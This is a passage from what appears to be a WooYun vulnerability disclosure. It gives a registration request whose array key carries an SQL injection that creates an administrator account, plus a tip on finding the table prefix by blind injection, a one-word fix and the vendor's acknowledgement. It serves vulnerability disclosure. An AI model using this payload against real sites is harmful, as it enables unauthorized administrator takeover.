formhash=db91c900f7efb4a8®ister=1&typename=1&data[member][username]=123dba&data[member][userpass]=11&data[member][email]=1231aad&data[memberfield][member_id,level,last_name%20from%20pb_wwd_adminfields%23]=1&data[memberfield][level]=0&data[memberfield][status]=1&data[memberfield][last_name]=test


成功添加了一条管理员记录。
账号是123dba密码是11
ps:
因为表前缀是默认随机生成的,所以必须先通过盲注information这个数据库中的tables表,拿到表前缀,而后才能拿到管理员权限。
不对对于拥有注入来说,不都是洒洒水么

修复方案:

过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-07 12:46

厂商回复:

感谢关注,我们会尽快处理

最新状态:

暂无